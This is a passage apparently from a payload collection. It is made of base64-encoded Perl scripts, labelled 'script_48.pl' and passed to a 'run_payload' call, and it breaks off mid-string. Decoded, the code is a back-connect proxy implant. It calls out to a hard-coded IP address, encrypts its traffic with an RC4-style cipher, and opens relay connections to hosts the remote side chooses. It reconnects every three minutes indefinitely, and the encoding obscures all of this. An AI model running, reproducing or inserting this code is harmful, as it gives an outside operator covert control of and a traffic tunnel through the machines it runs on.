aW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMCwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMiwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMywgMSksIDAsIDgpKTsNCgkJCQ0KCQkJCQkJCSAkcG9ydDAgPSAgdmVjKHN1YnN0cigkYnVmZmVyMCwgMTIgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsNCgkJCQ0KCQkJCQkJIH0NCgkJDQoJCQkJCQkgZWxzZSB7DQoJCQkNCgkJCQkJCQkgZ290byBjbG9zZV87DQoJCQkJCQkgfQ0KCQkJCQkJIA0KCQkJCQkJIGV2YWwgew0KCQkJIA0KCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7DQoJCQ0KCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7DQoJCSANCgkJCQkJCQkgdmVjKG15ICR3aW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJbJGVieF0pLCAxKSA9IDE7DQoNCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQ0KCQkJDQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7DQoJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgNCwgMSkgPSAiXHgwMCI7DQoJCSANCgkJCQkJCQkgJF9yZXQwID0gMTsNCgkJCSANCgkJCQkJCSB9Ow0KCQkgDQoJCQkJCQkgY2xvc2VfOg0KCQkJCQkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIGxlbmd0aCgkcmVzcG9uY2UpKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsNCgkJCQkJCQkgDQoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7DQoJCSANCgkJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7DQoJCQkJCQkJIA0KCQkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsNCgkJIA0KCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOw0KCQkgDQoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkJCSANCgkJCQkJCSB9DQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJDQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVyMCwgJHJlbWFpbmluZywgNCk7DQoJCQkJCQkgDQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJIA0KCQkJCQkgJHJlbWFpbmluZyA9IDA7DQoJCQkJfQ0KCQkJCQ0KCQkJfQ0KCQkJIA0KCQkJICRyZW1haW5pbmc0ID0gMDsNCgkJCSANCgkJfQ0KCQkNCgkJZWxzZSB7DQoJCQkNCgkJCSAkZWF4ID0gNDsNCgkJCQ0KCQkJICRlYXggPSAkZWF4IC0gJHJlbWFpbmluZzQ7DQoJCQkgDQoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7DQoJCQkgDQoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkgDQoJCQkgJHJlbWFpbmluZzQgKz0gJGRhdGE7DQoJCQkgDQoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOw0KCQkJIA0KCQkJICRjb3VudGVyID0gMDsNCgkJCSANCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgew0KCQkJCSANCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7DQoJCQkJIA0KCQkJCSAkZWJ4ID0gdmVjKHN1YnN0cigkYnVmZmVyMCwgMSwgMSksIDAsIDgpOw0KCQkJCSANCgkJCQkgJGVkeCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMiwgMikpOw0KCQkJIA0KCQkJCSAkX3JldCA9IDE7DQoJCQl9DQoJCQkNCgkJfQ0KCX0NCgkNCgkgY2xvc2UwOg0KCSANCgkgY2xvc2UoJHNvY2tldGFyclswXSk7DQoJIA0KCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsNCg0KCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0NCgkJIA0KCSB9DQoJIA0KCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0NCgkgDQoJIHJldHVybiAkX3JldDsNCg0KfQ0KDQp3aGlsZSgxKQ0Kew0KCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQpOw0KCSANCgkgc2xlZXAgMTgwOw0KfQ=="

# script_48.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsDQoNCnVzZSBzdHJpY3Q7DQp1c2Ugd2FybmluZ3M7DQp1c2UgU29ja2V0Ow0KdXNlIFNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7DQp1c2UgRmNudGwgcXcoRl9HRVRGTCBGX1NFVEZMIE9fTk9OQkxPQ0spOw0KDQpteSAkaG9zdCA9ICc2Mi42MC4xMzEuMTkwJzsNCm15ICRwb3J0ID0gNDAwMTsNCg0KbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsNCg0KZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQ0KDQpzdWIgUmM0X2NyeXB0IHsNCgkgDQoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3ogPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2Ow0KCSANCgkgbXkgJHBvY2tlbW9uMCA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjEgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb24yID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uMyA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjQgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb241ID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uNiA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjcgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb244ID0gMDsNCgkgDQoJIG15ICRyY3ggPSAkc3o7DQoJIA0KCSBteSAkcnNpID0gMDsNCgkgDQoJIG15ICRyYnggPSAwOw0KCSANCgkgbXkgJGdzID0gMDsNCgkgDQoJIG15ICR0ID0gMDsNCgkgDQoJIG15ICRzdHJfdmVjID0gIlx4MDAiOw0KCSANCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7ICMg0JfQsNC/0L7Qu9C90Y/QtdC8INGB0YLRgNC+0LrRgyDQsdCw0LnRgtCw0LzQuCAwLi4yNTUg0LHRi9GB0YLRgNC+DQoJIA0KCSBkbyB7DQoJCSANCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAodmVjKHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSwgMCwgOCkgXiB2ZWMoc3Vic3RyKCQkcGFzc3csICRyYngsIDEpLCAwLCA4KSk7DQoJCSANCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcnNpKys7DQoJCQ0KCQkgJHJieCsrOw0KCQkNCgkJICRyY3gtLTsNCgkJDQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7DQoJCQkgDQoJCQkgJHJieCA9IDA7DQoJCX0NCgkJIA0KCX0gd2hpbGUoJHJjeCA+IDApOw0KCQ0KCQ0KCSB3aGlsZSgxKSB7DQoJCSANCgkJIGlmICgkZ3MgPT0gMCkgew0KCQkJIA0KCQkJICRwb2NrZW1vbjIgPSAwOw0KDQoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7DQoJCX0NCgkJIA0KCQkgaWYgKCRncyAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMDsNCg0KCQkJICRwb2NrZW1vbjIrKzsNCg0KCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9DQoJCQkgDQoJCX0NCgkJDQoJCSAkcG9ja2Vtb243ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSwgMCwgOCk7DQoJCSANCgkJICR0ID0gdmVjKHN1YnN0cigkJHBhc3N3LCAkcG9ja2Vtb24yLCAxKSwgMCwgOCk7DQoNCgkJICRwb2NrZW1vbjEgKz0gJHQ7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb242ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSwgMCwgOCk7DQoNCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkcG9ja2Vtb242Ow0KDQoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRwb2NrZW1vbjc7DQoJCSANCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcG9ja2Vtb24wKys7DQoNCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1Ow0KCQkgDQoJCSBpZiAoJHBvY2tlbW9uMCAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMTsNCgkJCSANCgkJCSBuZXh0Ow0KCQl9DQoJCQ0KCQkgJHBvY2tlbW9uNCA9ICRzejsNCg0KCQkgJHBvY2tlbW9uMSA9IDA7DQoNCgkJICRwb2NrZW1vbjAgPSAwOw0KDQoJCSAkcG9ja2Vtb24yID0gMDsNCg0KCQkgJHBvY2tlbW9uMyA9IDA7DQoJCSANCgkJIHdoaWxlKDEpIHsNCgkJCSANCgkJCSAkcG9ja2Vtb24yKys7DQoNCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tlbW9uMiAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjcgPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjIsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjggPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uODsNCgkJCSANCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNzsNCgkJIA0KCQkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KDQoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243Ow0KCQ0KCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1Ow0KDQoJCQkgJHBvY2tlbW9uMCA9IHZlYyhzdWJzdHIoJHJjNCwgJHBvY2tlbW9uOCwgMSksIDAsIDgpOw0KCQkJIA0KCQkJICRwb2NrZW1vbjUgPSB2ZWMoc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpLCAwLCA4KTsNCg0KCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNTsNCgkJCSANCgkJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSAkcG9ja2Vtb24zKys7DQoJCQkgDQoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQ0KCQkJIHsNCgkJCQkgbGFzdDsNCgkJCSB9DQoJCQkgDQoJCX0NCgkJIA0KCQkgbGFzdDsNCgl9DQoJDQoJICRyc2kgPSAwOw0KCQ0KCSAkcmN4ID0gJHN6Ow0KCQ0KCSAkcmJ4ID0gMDsNCgkNCgkgZG8gew0KCQkgDQoJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gKHZlYyhzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSksIDAsIDgpIF4gdmVjKHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSwgMCwgOCkpOw0KCQkgDQoJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgJHJzaSsrOw0KCQkNCgkJICRyYngrKzsNCgkJDQoJCSAkcmN4LS07DQoJCQ0KCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgew0KCQkJIA0KCQkJICRyYnggPSAwOw0KCQl9DQoJCSANCgl9IHdoaWxlKCRyY3ggPiAwKTsNCgkNCn0NCg0Kc3ViIGJjY25jdCB7DQoNCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcG9ydCA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRyZW1haW5pbmcgPSAwOw0KCSANCgkgbXkgJHJlbWFpbmluZzQgPSAwOw0KCSANCgkgbXkgJGRvbWFpbjsNCgkgDQoJIG15ICRwb3J0MDsNCgkgDQoJIG15IEBzb2NrZXRhcnI7DQoJIA0KCSBteSBAc29ja2V0YXJyYXk7DQoJIA0KCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOw0KCSANCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOw0KCSANCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsNCgkgDQoJIG15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7DQoJIA0KCSBteSAkaXNFeGl0ID0gMDsNCgkgDQoJIG15ICRfcmV0MCA9IDA7DQoJIA0KCSBteSAkZWN4ID0gMDsNCgkgDQoJIG15ICRlYXggPSAwOw0KCSANCgkgbXkgJGRhdGEgPSAwOw0KCSANCgkgbXkgJF9yZXQgPSAwOw0KCSANCgkgbXkgJGVieCA9IDA7DQoJIA0KCSBteSAkZWR4ID0gMDsNCgkgDQoJIG15ICRjb3VudGVyID0gMDsNCgkgDQoJIG15ICRjb3VudGNjID0gMDsNCgkJIA0KCSBteSAkcmluID0gJyc7DQoJIA0KCSBteSAkZmxhZ3M7DQoJIA0KCSBteSAkc3RyX3ZlYyA9ICJceDAwIjsNCgkgDQoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgeyAkc29ja2V0YXJyYXlbJGldID0gMDsgfQ0KCSANCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOw0KCSANCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCiAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19TTkRCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0b24oJCRob3N0KSk7DQoJIA0KCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsNCgkgDQoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsNCgkgDQoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsNCgkgDQoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIGxlbmd0aCgkYnVmZmVyKSk7DQoJIA0KCSB3aGlsZSgxKSB7DQoJCSANCgkJICRjb3VudGNjID0gMDsNCgkJIA0KCQkgJHJpbiA9ICcnOw0KCQkgDQoJCSBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsNCgkJIA0KCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsNCgkJCQkgDQoJCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSA9IDE7DQoJCQkJIA0KCQkJCSAkY291bnRjYysrOw0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgaWYgKCRjb3VudGNjID4gMCkgew0KCQkJIA0KCQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9DQoJCQkgDQoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7DQoJCQkJIA0KCQkJCSBpZiAoKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgJiYgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpKSB7DQoJCQkJCSANCgkJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWyRpXSwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsNCgkJCQkgDQoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7DQoJCQkJCSANCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsNCgkJCQkJIA0KCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsNCgkJCQkJCSANCgkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGk7DQoJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkgDQoJCQkJCSB9DQoJCQkJIA0KCQkJCQkgZWxzZSB7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRpOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDMsICRkYXRhKTsNCgkJCQkgDQoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7DQoJCQkJCSANCgkJCQkJIH0NCgkJCQkgfQ0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgbmV4dF9fOg0KCQkgDQoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgew0KCQkJIA0KCQkJICRyaW4gPSAnJzsNCgkJCSANCgkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7DQoJCQkgDQoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOw0KCQkJIA0KCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsNCgkJCSANCgkJCSBpZiAoJHJldCA9PSAwKSB7DQoJCQkJIA0KCQkJCSAkY291bnRlcisrOw0KCQkJCSANCgkJCQkgaWYgKCRjb3VudGVyID09IDEwMCAqIDYwKSB7DQoJCQkJCSANCgkJCQkJICRjb3VudGVyID0gMDsNCg0KCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7DQoJCQkJIA0KCQkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZyAhPSAwKTsNCgkJCQkgDQoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsNCgkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsNCgkJCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgbGVuZ3RoKCRidWZmZXJudWxsKSk7DQoJCQkJIH0NCgkJCQkgDQoJCQkJIG5leHQ7DQoJCQl9DQoJCQkgDQoJCX0NCgkJIA0KCQkgaWYgKCRyZW1haW5pbmcgIT0gMCB8fCAkcmVtYWluaW5nNCA9PSA0KSB7DQoJCQkgDQoJCQkgaWYgKCRlZHggPT0gMCkgew0KCQkJCSANCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7DQoJCQkJCSANCgkJCQkJICRpc0V4aXQgPSAxOw0KCQkJCQkgDQoJCQkJCSBsYXN0Ow0KCQkJCQkgDQoJCQkJfQ0KCQkJCSANCgkJCQkgZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkgDQoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOw0KCQkJCQkgDQoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsNCgkJCQkJIA0KCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7DQoJCQkJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJIA0KCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOw0KCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCSANCgkJCQl9DQoJCQkNCgkJCX0NCgkJCQ0KCQkJZWxzZSB7DQoJCQkJDQoJCQkJICRlY3ggPSAkZWR4Ow0KCQkJCQ0KCQkJCSAkZWN4ID0gJGVjeCAtICRyZW1haW5pbmc7DQoJCQkJIA0KCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsNCgkJCQkNCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkJIA0KCQkJCSAkcmVtYWluaW5nICs9ICRkYXRhOw0KCQkJCSANCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgew0KCQkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIwLCA0LCAkcmVtYWluaW5nKTsNCgkJCQkJIA0KCQkJCQkgaWYgKHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpLCAwLCA4KSA9PSAwKSB7DQoJCQkJCQkgDQoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCQkJCQkJIA0KCQkJCQkJICRfcmV0MCA9IDA7DQoJCQkJCQkgDQoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxMykgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCQkJCQkgDQoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7DQoJCQkJCQkgDQoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgcGFjaygiSSIsIDY1NTM2KSk7DQoJCQkJCQkgDQoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDMpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3Vic3RyKCRidWZmZXIwLCA5LCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkpOw0KCQkJDQoJCQkJCQkJICRwb3J0MCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAxLCAxKSwgMCwgMTYpOw0KCQkJDQoJCQkJCQkgfQ0KCQkNCgkJCQkJCSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDEpI